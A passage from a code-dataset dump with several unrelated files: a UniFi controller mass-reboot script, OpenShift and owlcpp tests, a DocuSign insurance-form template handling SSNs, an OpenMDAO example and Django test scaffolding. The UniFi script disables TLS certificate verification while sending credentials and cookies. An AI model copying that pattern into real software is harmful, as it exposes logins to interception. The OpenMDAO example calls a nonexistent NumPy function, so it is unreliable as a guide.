u'Отправка запроса авторизации')\n\t\tunifi = requests.request(\"POST\", login_url, data=login_data, headers=headers, verify=False)\n\t\tlogin_result = json.loads(unifi.text)\n\t\tif login_result['meta']['rc'] == 'error':\n\t\t\tlogging.error( u'Ошибка авторизации. Ответ API: ' + login_result['meta']['msg'])\n\t\t\treturn False\n\t\telse:\n\t\t\tlogging.info( u'Авторизация успешна')\n\t\t\tself.cookies = unifi.cookies\n\t\t\treturn True\n\n\t''' Возвращает список устройств, подключенных к контроллеру '''\n\tdef __get_devices_list(self):\n\t\tdevices_list_url = self.__get_devices_url()\n\t\tdevices_headers = self.__get_headers()\n\t\tlogging.info( u'Запрос списка устройств, подключенных к контроллеру')\n\t\tdevices = requests.get(devices_list_url, headers=devices_headers, verify=False, cookies=self.cookies)\n\t\tdevices_list = json.loads(devices.text)\n\t\tif devices_list['data'] is None:\n\t\t\tlogging.error( u'Отсутствует возможность получить список устройств')\n\t\t\tsys.exit()\n\t\telse:\n\t\t\tlogging.info( u'Список устройств получен')\n\t\t\treturn devices_list['data']\n\n\t''' Перезагружает устройство, подключенное к Unifi Controller по mac-адресу '''\n\tdef __restart_device(self, mac):\n\t\tdevice_restart_url = self.__get_restart_device_url()\n\t\tdevice_restart_data = self.__get_restart_device_data(mac)\n\t\theaders = self.__get_headers()\n\t\tlogging.info( u'Попытка перезагрузки устройтва')\n\t\tdevice_restart = requests.request(\"POST\", device_restart_url, data=device_restart_data, headers=headers, verify=False, cookies=self.cookies)\n\t\tlogging.info( u'Устройство перезагружено')\n\t\treturn json.loads(device_restart.text)\n\n\t''' Перезагружает все подключенные к контроллеру устройства '''\n\tdef restart_all_devices(self):\n\t\tlists = self.__get_devices_list()\n\t\tfor device in lists:\n\t\t\tmac = device.get('mac')\n\t\t\tlogging.info( u'Перезагрузка устройтва ' + mac)\n\t\t\tself.__restart_device(mac)\n\n\t''' Производит отключение от контроллера '''\n\tdef __disconnect(self):\n\t\tpass\n","sub_path":"unifi.py","file_name":"unifi.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"44392447","text":"from preprocess2 import process\nfrom NB import NB\nimport pickle\n\ndef main(tr_dir, ts_dir, para_dir):\n    proc = process('G://CUNY/NLP/Assignments/HW2/train2.txt',\n                   'G://CUNY/NLP/Assignments/HW2/test2.txt')\n    proc_f= open(para_dir, 'wb')\n    pickle.dump(proc, proc_f)\n    proc_f.close()\n\n\n\n\n\n\nif __name__ == '__main__':\n    import argparse\n    parser = argparse.ArgumentParser(description='Naive Bayes Classifier')\n    parser.add_argument('--tr_dir', metavar='path', required=True, help='training path')\n    parser.add_argument('--ts_dir', metavar='path', required=True, help='test path')\n    parser.add_argument('--para_dir', metavar='path', required=True, help='parameter path')\n    args = parser.parse_args()\n    main(tr_dir = args.tr_dir, ts_dir = args.ts_dir, para_dir = args.para_dir)","sub_path":"CUNY_NLP_CS74040/HW2/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"612558541","text":"import re\nimport logging\n\nimport e2e_tests.test_base as tb\nimport e2e_tests.dedicated_admin_test_base as dat\n\n\ndef run():\n    oc_map = tb.get_oc_map()\n    pattern = \\\n        r'^(default|logging|' + \\\n        '(openshift|kube-|ops-|dedicated-|management-|{}).*)$'.format(\n            tb.E2E_NS_PFX\n        )\n    for cluster, oc in oc_map.items():\n        logging.info(\"[{}] validating RoleBindings\".format(cluster))\n\n        projects = [p['metadata']['name']\n                    for p in oc.get_all('Project')['items']\n                    if p['status']['phase'] != 'Terminating' and\n                    not re.search(pattern, p['metadata']['name'])]\n\n        all_rolebindings = \\\n            oc.get_all('RoleBinding', all_namespaces=True)['items']\n        rolebindings = [rb for rb in all_rolebindings\n                        if rb['metadata']['namespace'] in projects\n                        and rb['groupNames'] == \\\n                            dat.get_dedicated_admin_groups()\n                        and rb['roleRef']['name'] in dat.get_expected_roles()]\n\n        for project in projects:\n            logging.info(\"[{}/{}] validating RoleBindings\".format(\n                cluster, project))\n            project_rbs = [rb for rb in rolebindings\n                           if rb['metadata']['namespace'] == project]\n            assert len(project_rbs) == 2\n            assert project_rbs[0]['roleRef']['name'] != \\\n                project_rbs[1]['roleRef']['name']\n","sub_path":"e2e_tests/dedicated_admin_rolebindings.py","file_name":"dedicated_admin_rolebindings.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"558115279","text":"#!/usr/bin/env python\n'''\nowlcpp/binding/python/test/test_io_1.py is part of owlcpp project\nDistributed under the Boost Software License, Version 1.0; see doc/license.txt.\nCopyright Mikhail K Levin 2011-3\n'''\nimport os, unittest\nfrom owlcpp import *\n\nclass Test(unittest.TestCase):\n    def setUp(self):\n        unittest.TestCase.setUp(self)\n        self.iri1 = 'http://owl-cpp.sf.net/test/owl/test_01.owl'\n        self.ver1 = 'http://owl-cpp.sf.net/test/owl/test_01a.owl'\n        self.dir1 = 'sample_data'\n        self.path1 = os.path.abspath(os.path.join(self.dir1, 'test_01.owl'))\n        self.path2 = os.path.abspath(os.path.join(self.dir1, 'imports_test_01.owl'))\n\n    def test_IRI(self):\n        t = read_ontology_iri(self.path1)\n        self.assertEqual(t[0], self.iri1)\n        self.assertEqual(t[1], self.ver1)\n\n    def test_catalog(self):\n        cat = Catalog()\n        add(cat, self.dir1)\n        l = list(cat.find_doc_iri(self.iri1))\n        self.assertEqual(len(l), 1)\n        l = list(cat.find_doc_version(self.iri1))\n        self.assertEqual(len(l), 0)\n\n    def test_load_file(self):\n        ts = Triple_store()\n        load_file(self.path1, ts)\n        self.assertEqual(len(ts.map_triple()), 13)\n\n    def test_load_includes(self):\n        ts1 = Triple_store()\n        load_file(self.path2, ts1)\n        self.assertEqual(len(ts1.map_triple()), 3)\n\n        cat = Catalog()\n        add(cat, self.dir1)\n        ts2 = Triple_store()\n        load_file(self.path2, ts2, cat)\n        self.assertEqual(len(ts2.map_triple()), 17)\n\nif __name__ == '__main__': unittest.main()\n","sub_path":"binding/python/test/test_io_1.py","file_name":"test_io_1.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"654287987","text":"from dateutil.parser import parse as dateutil_parse\nfrom dateutil.relativedelta import *\nfrom datetime import date\nfrom decimal import Decimal\n\nfrom taa.services.docusign.service import DocuSignServerTemplate, DocuSignTextTab, DocuSignRadioTab\nfrom taa.services.docusign.DocuSign_config import get_template_id\n\n\nclass FPPTemplate(DocuSignServerTemplate):\n    def __init__(self, recipients, enrollment_data, use_docusign_renderer):\n\n        product_code = enrollment_data.get_product().get_base_product_code()\n        state = enrollment_data[\"enrollState\"]\n        template_id = get_template_id(product_code, state)\n\n        DocuSignServerTemplate.__init__(self, template_id, recipients, use_docusign_renderer)\n\n        self.data = enrollment_data\n\n    def is_child_attachment_form_needed(self):\n        return self.data.get_num_covered_children() > 2\n\n    def is_beneficiary_attachment_needed(self):\n        return self.data.has_multiple_beneficiaries()\n\n    def is_replacement_form_needed(self):\n        \"\"\"\n        Implement the slightly complicated rules dictating whether or not the replacement form\n        for the appropriate state will be shown, based mostly on what state the\n        enrollment application was taken in.\n        :return: True if the form is needed.\n        \"\"\"\n\n        # These states don't do replacements\n        if self.data['enrollState'] in ['KY', 'KS', 'CT', 'DC', 'ND', 'VI']:\n            return False\n\n        # NAIC states and MI have a special rule to attach the form if the replacement question is 'No'\n        from taa.services.products.product_forms import generic_fpp_replacement_form\n        if (self.data['enrollState'] in (generic_fpp_replacement_form.statecodes + ['MI'])\n            and not self.data['replacing_insurance']):\n            return True\n\n        # Self-enroll needs to be given the form if the existing question is Yes.\n        if self.data.is_self_enroll() and self.data['existing_insurance']:\n            return True\n\n        # Otherwise just include form if replacing insurance question is yes.\n        return self.data['replacing_insurance']\n\n    def is_additional_replacement_policy_attachment_needed(self):\n        return len(self.data['replacement_policies']) > 1\n\n    def should_include_bank_draft(self):\n        return self.data.should_include_bank_draft()\n\n    def get_attachment_children(self):\n        return self.data.get_covered_children()[2:] if len(self.data.get_covered_children()) > 2 else []\n\n    def generate_tabs(self, recipient, purpose):\n        tabs = super(FPPTemplate, self).generate_tabs(recipient, purpose)\n\n        if recipient.is_agent():\n            tabs += self.make_agent_tabs(tabs, purpose)\n\n        if recipient.is_employee() or self.data.should_use_call_center_workflow():\n\n            lists_of_tabs = [\n                self.make_employer_tabs(),\n                self.make_employee_tabs(),\n                self.make_spouse_tabs(),\n                self.make_coverage_tabs(),\n                self.make_all_beneficiary_tabs(),\n                self.make_children_tabs(),\n                self.make_general_tabs(),\n            ]\n            for tab_list in lists_of_tabs:\n                tabs.extend(tab_list)\n\n        return tabs\n\n    def make_agent_tabs(self, tabs, purpose):\n        \n        #if self.data.should_use_call_center_workflow() and not self.data.did_finish_signing_in_wizard() and purpose == self.PDF_TABS:\n        #    # Don't render any overlay for the pdf\n        #    return []\n        # if self.data.should_use_call_center_workflow() and purpose == self.DOCUSIGN_TABS:\n        #\n        #     # find the existingInsAgent and replaceAgent tabs and set the value to what the employee indicated as a default.\n        #     existing_tab_yes = next(ifilter(\n        #         lambda t: isinstance(t, DocuSignRadioTab) and t.group_name == 'existingInsAgent' and t.value == \"yes\",\n        #         tabs), None)\n        #     existing_tab_no = next(ifilter(\n        #         lambda t: isinstance(t, DocuSignRadioTab) and t.group_name == 'existingInsAgent' and t.value == \"no\",\n        #         tabs), None)\n        #\n        #     replace_tab_yes = next(ifilter(\n        #         lambda t: isinstance(t, DocuSignRadioTab) and t.group_name == 'replaceAgent' and t.value == \"yes\",\n        #         tabs), None)\n        #     replace_tab_no = next(ifilter(\n        #         lambda t: isinstance(t, DocuSignRadioTab) and t.group_name == 'replaceAgent' and t.value == \"no\", tabs),\n        #                           None)\n        #\n        #     if existing_tab_yes:\n        #         existing_tab_yes.is_selected = self.data['existing_insurance']\n        #     if existing_tab_no:\n        #         existing_tab_no.is_selected = not self.data['existing_insurance']\n        #\n        #     if replace_tab_yes:\n        #         replace_tab_yes.is_selected = self.data['replacing_insurance']\n        #     if replace_tab_no:\n        #         replace_tab_no.is_selected = not self.data['replacing_insurance']\n        #\n        #     # Don't add any new tabs.\n        #     return []\n\n        # We always render the Yes/No tabs now\n        return [\n            DocuSignRadioTab('existingInsAgent', 'yes' if self.data['existing_insurance'] else 'no'),\n            DocuSignRadioTab('replaceAgent', 'yes' if self.data['replacing_insurance'] else 'no'),\n        ]\n\n    def make_general_tabs(self):\n\n        tabs = [\n            DocuSignRadioTab('enrollType', \"assist\" if self.data.is_enrollment_type_agent_assisted() else \"self\"),\n            DocuSignRadioTab('productType', self.get_product_type()),\n            DocuSignRadioTab('existingIns', 'yes' if self.data[\"existing_insurance\"] else 'no'),\n            DocuSignRadioTab('existingInsAgent', 'yes' if self.data['existing_insurance'] else 'no'),\n            DocuSignRadioTab('replaceAgent', 'yes' if self.data['replacing_insurance'] else 'no'),\n            DocuSignRadioTab('replace', 'yes' if self.data[\"replacing_insurance\"] else 'no'),\n        ]\n\n        for (prefix_short, prefix_long) in {(\"ee\", \"employee\"), (\"sp\", \"spouse\")}:\n            if prefix_short == 'ee' or (prefix_short == 'sp' and self.data.did_spouse_select_coverage()):\n                tabs.append(DocuSignRadioTab(prefix_short + \"Gender\", self.data[prefix_long][\"gender\"]))\n\n            if self.data[prefix_long] and \"is_smoker\" in self.data[prefix_long]:\n                smoker_button = \"smoker\" if self.data[prefix_long][\"is_smoker\"] else \"nonsmoker\"\n                tabs.append(DocuSignRadioTab(prefix_short + \"Smoking\", smoker_button))\n\n            # only include Owner checkbox if coverage was selected\n            if ((prefix_short == \"ee\" and self.data.did_employee_select_coverage())\n                or (prefix_short == \"sp\" and self.data.did_spouse_select_coverage())):\n                tabs.append(DocuSignRadioTab(prefix_short + \"Owner\", self.data[prefix_long + \"_owner\"]))\n        return tabs\n\n    def make_employer_tabs(self):\n        return [\n            DocuSignTextTab('employer', self.data.get_employer_name()),\n            DocuSignTextTab('group_number', self.data.case.group_number if self.data.case.group_number else \"\")\n        ]\n\n    def make_employee_tabs(self):\n\n        ee_tabs_list = []\n        ee_tabs_list += self.make_applicant_tabs(prefix=\"ee\", data=self.data['employee'])\n        ee_tabs_list += self.make_contact_tabs('ee', self.data[\"employee\"])\n        ee_tabs_list += self.make_payment_mode_tabs()\n        ee_tabs_list += self.make_generic_tabs()\n\n        if self.data.did_employee_select_coverage():\n            ee_tabs_list += self.generate_SOH_tabs(\"ee\", self.data.get_employee_soh_questions())\n            ee_tabs_list += self.generate_SOH_GI_tabs(\"ee\", self.data.get_employee_soh_questions())\n\n        return ee_tabs_list\n\n    def make_spouse_tabs(self):\n\n        if not self.data.did_spouse_select_coverage():\n            return []\n\n        sp_tabs_list = []\n\n        sp_tabs_list += self.make_applicant_tabs(prefix=\"sp\", data=self.data['spouse'])\n\n        if self.data['is_spouse_address_same_as_employee']:\n            sp_tabs_list += [DocuSignTextTab('sp_address_same_as_employee', \"SAME AS EMPLOYEE\")]\n        else:\n            sp_tabs_list += self.make_address_tabs(prefix=\"sp\", data=self.data['spouse'])\n\n        if self.data['is_spouse_email_same_as_employee']:\n            sp_tabs_list += [DocuSignTextTab('sp_email_same_as_employee', 'SAME AS EMPLOYEE')]\n        else:\n            sp_tabs_list += [DocuSignTextTab('spEmail', self.data['spouse']['email'])]\n\n        if self.data.did_spouse_select_coverage():\n            # Special treatment for first two questions (non-health questions)\n            if self.data['has_spouse_been_treated_6_months'] in ['Yes', 'No']:\n                sp_tabs_list += [DocuSignRadioTab('spouse_hospital_six_months',\n                                                  self.data['has_spouse_been_treated_6_months'].lower())]\n            elif str(self.data['has_spouse_been_treated_6_months']).upper() == 'GI':\n                sp_tabs_list += [DocuSignTextTab('spouse_hospital_six_months_gi', 'GI')]\n\n            if self.data['has_spouse_been_disabled_6_months'] in ['Yes', 'No']:\n                sp_tabs_list += [DocuSignRadioTab('spouse_disability_six_months',\n                                                  self.data['has_spouse_been_disabled_6_months'].lower())]\n            elif str(self.data['has_spouse_been_disabled_6_months']).upper() == 'GI':\n                sp_tabs_list += [DocuSignTextTab('spouse_disability_six_months_gi', 'GI')]\n\n            sp_tabs_list += self.generate_SOH_tabs(\"sp\", self.data.get_spouse_soh_questions())\n            sp_tabs_list += self.generate_SOH_GI_tabs(\"sp\", self.data.get_spouse_soh_questions())\n\n        return sp_tabs_list\n\n    def make_children_tabs(self):\n        tabs = []\n        covered_children, coverages = self.data.get_covered_children_with_coverages()\n        \n        for i, child in enumerate(covered_children):\n            coverage = coverages[i]\n            \n            tabs += self.add_child_data_tabs(child, coverage, i)\n            tabs += self.generate_SOH_tabs(\"c%s\" % (i + 1), self.data.get_covered_child_soh_questions(i))\n            tabs += self.generate_SOH_GI_tabs(\"c%s\" % (i + 1), self.data.get_covered_child_soh_questions(i))\n\n        if self.is_child_attachment_form_needed():\n            tabs += [DocuSignTextTab('extra_children_notice', \"SEE ATTACHED FOR ADDITIONAL CHILDREN\")]\n\n        return tabs\n\n    def add_child_data_tabs(self, child_data, child_coverage, child_index):\n        child_prefix = \"child\" + str(child_index + 1)\n        \n        return [\n            DocuSignTextTab(child_prefix + \"Name\", child_data['first'] + \" \" + child_data['last']),\n            # For old form and Group CI compatibility, also send separate first and last\n            DocuSignTextTab(child_prefix + \"FName\", child_data['first']),\n            DocuSignTextTab(child_prefix + \"LName\", child_data['last']),\n            DocuSignTextTab(child_prefix + \"DOB\", child_data['birthdate']),\n            DocuSignTextTab(child_prefix + \"SSN\", self.format_ssn(child_data['ssn'])),\n            DocuSignTextTab(child_prefix + \"Coverage\", format(Decimal(unicode(child_coverage[\"face_value\"]), 'utf-8'),\n                                                              \",.0f\") if child_coverage else \"\"),\n            DocuSignTextTab(child_prefix + \"Premium\", format(Decimal(unicode(child_coverage[\"premium\"]), 'utf-8'),\n                                                             \",.2f\") if child_coverage else \"\"),\n            DocuSignRadioTab(child_prefix + \"Gender\", child_data[\"gender\"]),\n        ]\n\n    def make_coverage_tabs(self):\n        coverage_tabs = []\n\n        # Employee\n        employee_coverage = self.data.get_employee_coverage() if self.data.did_employee_select_coverage() else 'NONE'\n        ee_premium = self.data.get_formatted_employee_premium() if self.data.did_employee_select_coverage() else ''\n        coverage_tabs += [\n            DocuSignTextTab('eeCoverage', employee_coverage),\n            DocuSignTextTab('eePremium', ee_premium),\n        ]\n\n        spouse_coverage = self.data.get_spouse_coverage() if self.data.did_spouse_select_coverage() else 'NONE'\n        spouse_premium = self.data.get_formatted_spouse_premium() if self.data.did_spouse_select_coverage() else ''\n        coverage_tabs += [\n            DocuSignTextTab('spCoverage', spouse_coverage),\n            DocuSignTextTab('spPremium', spouse_premium),\n        ]\n\n        # Totals\n        total_children_coverage = self.data.get_total_children_premium()\n        total = self.data.get_total_modal_premium()\n\n        if total_children_coverage > 0.0:\n            formatted_children_total = format(total_children_coverage, \".2f\")\n        else:\n            formatted_children_total = \"\"\n\n        coverage_tabs += [\n            DocuSignTextTab('eePremiumTotal', ee_premium),\n            DocuSignTextTab('spPremiumTotal', spouse_premium),\n            DocuSignTextTab('childPremiumTotal', formatted_children_total),\n            DocuSignTextTab('totalAllPremium', format(total, \".2f\"))\n        ]\n\n        return coverage_tabs\n\n    def make_all_beneficiary_tabs(self):\n        return (\n            self.make_applicant_beneficiary_tabs(\"ee\", \"employee\") +\n            self.make_applicant_beneficiary_tabs(\"sp\", \"spouse\")\n        )\n\n    def make_applicant_beneficiary_tabs(self, short_prefix, long_prefix):\n        tabs = []\n\n        if ((long_prefix == \"employee\" and not self.data.did_employee_select_coverage()) or\n                (long_prefix == \"spouse\" and not self.data.did_spouse_select_coverage())):\n            return tabs\n\n        if self.data.has_multiple_beneficiaries():\n            # All beneficiary data is attached to a separate document in this case.\n            tabs.append(DocuSignTextTab('eeBene_notice', 'SEE ATTACHED'))\n            tabs.append(DocuSignTextTab('spBene_notice', 'SEE ATTACHED'))\n            return tabs\n\n        tabs += self.make_old_style_beneficiary_tabs(short_prefix, long_prefix)\n\n        # Contingent Beneficiaries are in slightly different format\n        contingent_type_key = '{}_contingent_beneficiary_type'.format(long_prefix)\n        if contingent_type_key in self.data and self.data[contingent_type_key] == 'spouse':\n            spouse_data = self.data[\"employee\"] if long_prefix == \"spouse\" else self.data[\"spouse\"]\n            tabs += self.make_beneficiary_tabs(\n                prefix=short_prefix + \"Cont\",\n                name=spouse_data[\"first\"] + \" \" + spouse_data[\"last\"],\n                relationship=\"Spouse\",\n                dob=spouse_data.get(\"birthdate\", ''),\n                ssn=spouse_data.get(\"ssn\", ''),\n            )\n        elif contingent_type_key in self.data and self.data[contingent_type_key] == 'other':\n            key_prefix = '{}_contingent_beneficiary1'.format(long_prefix)\n            bene_name = self.data['{}_name'.format(key_prefix)]\n            bene_rel = self.data[key_prefix + '_relationship']\n            bene_ssn = self.data[key_prefix + '_ssn']\n            bene_dob = self.data[key_prefix + '_dob']\n\n            tabs += self.make_beneficiary_tabs(prefix='{}Cont'.format(short_prefix),\n                                               name=bene_name,\n                                               relationship=bene_rel,\n                                               ssn=bene_ssn,\n                                               dob=bene_dob,\n                                               )\n\n        return tabs\n\n    def make_old_style_beneficiary_tabs(self, short_prefix, long_prefix):\n\n        if self.data[\"{}_beneficiary\".format(long_prefix)] == \"spouse\":\n            spouse_data = self.data[\"employee\"] if long_prefix == \"spouse\" else self.data[\"spouse\"]\n            return self.make_beneficiary_tabs(\n                prefix=short_prefix,\n                name=spouse_data[\"first\"] + \" \" + spouse_data[\"last\"],\n                relationship=\"Spouse\",\n                dob=spouse_data[\"birthdate\"],\n                ssn=spouse_data[\"ssn\"],\n            )\n        else:\n            return self.make_beneficiary_tabs(\n                prefix=short_prefix,\n                name=self.data.get(\"{}_beneficiary1_name\".format(long_prefix), ''),\n                relationship=self.data.get(\"{}_beneficiary1_relationship\".format(long_prefix), ''),\n                dob=self.data.get(\"{}_beneficiary1_dob\".format(long_prefix), ''),\n                ssn=self.data.get(\"{}_beneficiary1_ssn\".format(long_prefix), ''),\n            )\n\n    def make_payment_mode_tabs(self):\n        return [\n            DocuSignRadioTab(group_name='payment_mode', value=self.data['payment_mode_text'].lower(), is_selected=True)\n        ]\n\n    def make_generic_tabs(self):\n\n        ee_email_part_1, ee_email_part_2 = self.data.get_employee_email_parts()\n\n        agent_code = self.data.get_agent_code()\n        agent_signing_name = self.data.get_agent_signing_name()\n\n        if self.data['spouse_owner'] == \"other\":\n            spouse_owner_notice = u\"SPOUSE POLICY OWNER: {}, {}\".format(self.data['spouse_other_owner_name'],\n                                                                        self.data['spouse_other_owner_ssn'])\n        elif self.data['spouse_owner'] == \"self\":\n            # Spouse data\n            spouse_owner_notice = u\"SPOUSE POLICY OWNER: {}, {}\".format(self.data.get_spouse_name(),\n                                                                        self.data.get_spouse_ssn())\n        else:\n            spouse_owner_notice = \"\"\n\n        rider_tabs = []\n        for rider_person, riders in self.data['rider_data'].iteritems():\n            def fix_rider_code(code):\n                if code.startswith(\"QOL\"):\n                    # QOL rider is \"CHR\" on the form.\n                    return \"CHR\"\n\n                return code\n\n            if rider_person == \"emp\" and self.data.did_employee_select_coverage():\n                for rider in riders:\n                    tab_name = 'ee_rider_{}'.format(fix_rider_code(rider.get('code')))\n                    rider_tabs.append(DocuSignRadioTab(tab_name, 'yes'))\n            if rider_person == \"sp\" and self.data.did_spouse_select_coverage():\n                for rider in riders:\n                    tab_name = 'sp_rider_{}'.format(fix_rider_code(rider.get('code')))\n                    rider_tabs.append(DocuSignRadioTab(tab_name, 'yes'))\n\n        return [\n                   DocuSignTextTab('eeEnrollCityState', self.data[\"enrollCity\"] + \", \" + self.data[\"enrollState\"]),\n                   DocuSignTextTab('eeEnrollCity', self.data['enrollCity']),\n                   DocuSignTextTab('eeEnrollState', self.data['enrollState']),\n                   DocuSignTextTab('date_of_hire', self.data['identityToken']),\n                   DocuSignTextTab('agentCode', agent_code),\n                   DocuSignTextTab('agentSignName', agent_signing_name),\n                   DocuSignTextTab('Employer', self.data.get_employer_name()),\n                   DocuSignTextTab('eeOtherOwnerName', self.data[\"employee_other_owner_name\"] if self.data[\n                                                                                                     \"employee_owner\"] == \"other\" else  \"\"),\n                   DocuSignTextTab('eeOtherOwnerName2', self.data[\"employee_other_owner_name\"] if self.data[\n                                                                                                      \"employee_owner\"] == \"other\" else  \"\"),\n                   DocuSignTextTab('eeOtherOwnerSSN', self.data[\"employee_other_owner_ssn\"] if self.data[\n                                                                                                   \"employee_owner\"] == \"other\" else  \"\"),\n                   DocuSignTextTab('spouse_owner_notice', spouse_owner_notice),\n                   DocuSignTextTab('eeEmailPart1', ee_email_part_1),\n                   DocuSignTextTab('eeEmailPart2', ee_email_part_2),\n                   DocuSignRadioTab('actively_at_work', self.data.get_actively_at_work()),\n               ] + rider_tabs\n\n    def make_contact_tabs(self, prefix, data):\n\n        tabs = self.make_address_tabs(prefix, data)\n        tabs += [\n            DocuSignTextTab(prefix + 'Phone', data['phone']),\n            DocuSignTextTab(prefix + 'Email', data['email']),\n        ]\n        return tabs\n\n    def make_address_tabs(self, prefix, data):\n\n        if data.get('address2'):\n            address = data['address1'] + \" \" + data['address2']\n        else:\n            address = data['address1']\n\n        return [\n            DocuSignTextTab(prefix + 'Address', address),\n            DocuSignTextTab(prefix + 'City', data['city']),\n            DocuSignTextTab(prefix + 'State', data['state']),\n            DocuSignTextTab(prefix + 'Zip', data['zip']),\n        ]\n\n    def make_beneficiary_tabs(self, prefix, name, relationship, dob, ssn):\n\n        return [\n            DocuSignTextTab(prefix + \"BeneFullName\", name),\n            DocuSignTextTab(prefix + \"BeneAge\", self.get_age_from_dob(dob)),\n            DocuSignTextTab(prefix + \"BeneRelationship\", relationship),\n            DocuSignTextTab(prefix + \"BeneDOB\", dob),\n            DocuSignTextTab(prefix + \"BeneSSN\", self.format_ssn(ssn)),\n        ]\n\n    def format_ssn(self, ssn):\n        if not ssn:\n            return ssn\n\n        digits = [c for c in ssn if c.isdigit()]\n        if len(digits) < 9:\n            # Invalid - just return what was given\n            return ssn\n\n        return \"{}-{}-{}\".format(\n            ''.join(digits[:3]),\n            ''.join(digits[3:5]),\n            ''.join(digits[5:9])\n        )\n\n    def get_age_from_dob(self, dob):\n        if dob and dateutil_parse(dob):\n            return \"%d\" % relativedelta(date.today(), dateutil_parse(dob)).years\n        else:\n            return \"\"\n\n    def generate_SOH_tabs(self, prefix, soh_questions):\n        \"Statement of health radio button answers\"\n\n        radio_tabs = []\n        for i, soh_question in enumerate(q for q in soh_questions if not q.get('is_spouse_only')):\n            if soh_question['answer'] and soh_question['answer'].lower() == \"no\":\n                radio_tabs.append(DocuSignRadioTab(prefix + \"SOH\" + str(i + 1), \"no\"))\n            elif soh_question['answer'] and soh_question['answer'].lower() == \"yes\":\n                radio_tabs.append(DocuSignRadioTab(prefix + \"SOH\" + str(i + 1), \"yes\"))\n\n        return radio_tabs\n\n    def generate_SOH_GI_tabs(self, prefix, soh_questions):\n        tabs = []\n        for i, soh_question in enumerate(q for q in soh_questions if not q.get('is_spouse_only')):\n            if soh_question['answer'] and soh_question['answer'].upper() == \"GI\" or soh_question['answer'] == None:\n                # GI - skip for now\n                answer = \"GI\"\n            else:\n                answer = \"\"\n\n            tabs.append(DocuSignTextTab(\"{prefix}SOH{i}gi\".format(prefix=prefix, i=i + 1), answer))\n\n        return tabs\n\n    def make_applicant_tabs(self, prefix, data):\n        tabs = [\n            DocuSignTextTab(prefix + 'Name', data[\"first\"] + \" \" + data[\"last\"]),\n            DocuSignTextTab(prefix + 'FName', data[\"first\"]),\n            DocuSignTextTab(prefix + 'LName', data[\"last\"]),\n            DocuSignTextTab(prefix + 'DOB', data[\"birthdate\"]),\n            DocuSignTextTab(prefix + 'SSN', self.format_ssn(data[\"ssn\"])),\n        ]\n\n        if data.get('height'):\n            height_total_inches = int(data['height'])\n            height_ft = \"%s\" % int(height_total_inches / 12.0)\n            height_in = \"%s\" % int(height_total_inches % 12.0)\n\n            tabs += [\n                DocuSignTextTab(prefix + 'HeightFt', height_ft),\n                DocuSignTextTab(prefix + 'HeightIn', height_in),\n            ]\n        if data.get('weight'):\n            tabs += [DocuSignTextTab(prefix + 'Weight', data['weight'])]\n\n        return tabs\n\n    def get_product_type(self):\n        \"Usually FPPTI, but can be FPPCI if CI product\"\n        product_code = self.data.get_product_code()\n        if product_code == 'FPPCI':\n            return 'FPPCI'\n\n        return \"FPPTI\"\n","sub_path":"taa/services/docusign/templates/fpp.py","file_name":"fpp.py","file_ext":"py","file_size_in_byte":24077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"426887173","text":"from openmdao.api import IndepVarComp, Component, Problem, Group\n\nfrom adcomponent import ADComponent, np\n\nclass MyComp(ADComponent):\n\n    def __init__(self):\n        super(MyComp, self).__init__()\n        self.add_param('x', val=0.0)\n        self.add_param('y', val=0.0)\n        self.add_param('A', val = np.zeros((2,2)))\n\n        self.add_output('f_xy', val=0.0)\n        self.add_output('g_xy', val=np.zeros(2))\n\n    def solve_nonlinear(self, params, unknowns, resids):\n\n        x = params['x']\n        y = params['y']\n        A = params['A']\n\n        unknowns['f_xy'] = x**2 + y**2 + np.sin(A).sum()\n        unknowns['g_xy'] = np.linalg.dot(A**2, np.array([y, x**2]))\n\n\nif __name__ == \"__main__\":\n\n    top = Problem()\n\n    root = top.root = Group()\n    root.add('p', MyComp())\n\n    root.add('p1', IndepVarComp('x', 3.0))\n    root.add('p2', IndepVarComp('y', -4.0))\n    root.add('p3', IndepVarComp('A', np.random.randn(2,2)))\n\n    root.connect('p1.x', 'p.x')\n    root.connect('p2.y', 'p.y')\n    root.connect('p3.A', 'p.A')\n\n    top.setup(check=False)\n    top.run()\n\n    # compare auto-generated derivatives against FD\n    top.check_partial_derivatives()\n","sub_path":"src/adcomponent/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"403814215","text":"from django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n\nfrom core.models import Recipe, Tag, Ingredient\n\nfrom recipe.serializers import RecipeSerializer, RecipeDetailsSerializer\n\n\nRECIPE_URL = reverse('recipe:recipe-list')\n\n\ndef detail_url(recipe_id):\n    \"\"\"Return recipe detail URL\"\"\"\n    return reverse('recipe:recipe-detail', args=[recipe_id])\n\n\ndef sample_recipe(user, **params):\n    \"\"\"Create and return a sample recipe\"\"\"\n    defaults = {\n        'title': 'Sample recipe',\n        'time_minutes': 10,\n        'price': 5.00\n    }\n    defaults.update(params)\n\n    return Recipe.objects.create(user=user, **defaults)\n\n\ndef sample_tag(user, name='Sample tag'):\n    \"\"\"Create and return a sample tag\"\"\"\n    return Tag.objects.create(user=user, name=name)\n\n\ndef sample_ingredient(user, name='Sample ingredient'):\n    \"\"\"Create and return a sample ingredient\"\"\"\n    return Ingredient.objects.create(user=user, name=name)\n\n\nclass PublicRecipeApiTests(TestCase):\n    \"\"\"Test the publicly available recipe api\"\"\"\n\n    def setUp(self):\n        self.client = APIClient()\n\n    def test_login_required(self):\n        \"\"\"Test that authentication is required\"\"\"\n        res = self.client.get(RECIPE_URL)\n\n        self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateRecipeApiTests(TestCase):\n    \"\"\"Test the authenticated recipe api\"\"\"\n\n    def setUp(self):\n        self.client = 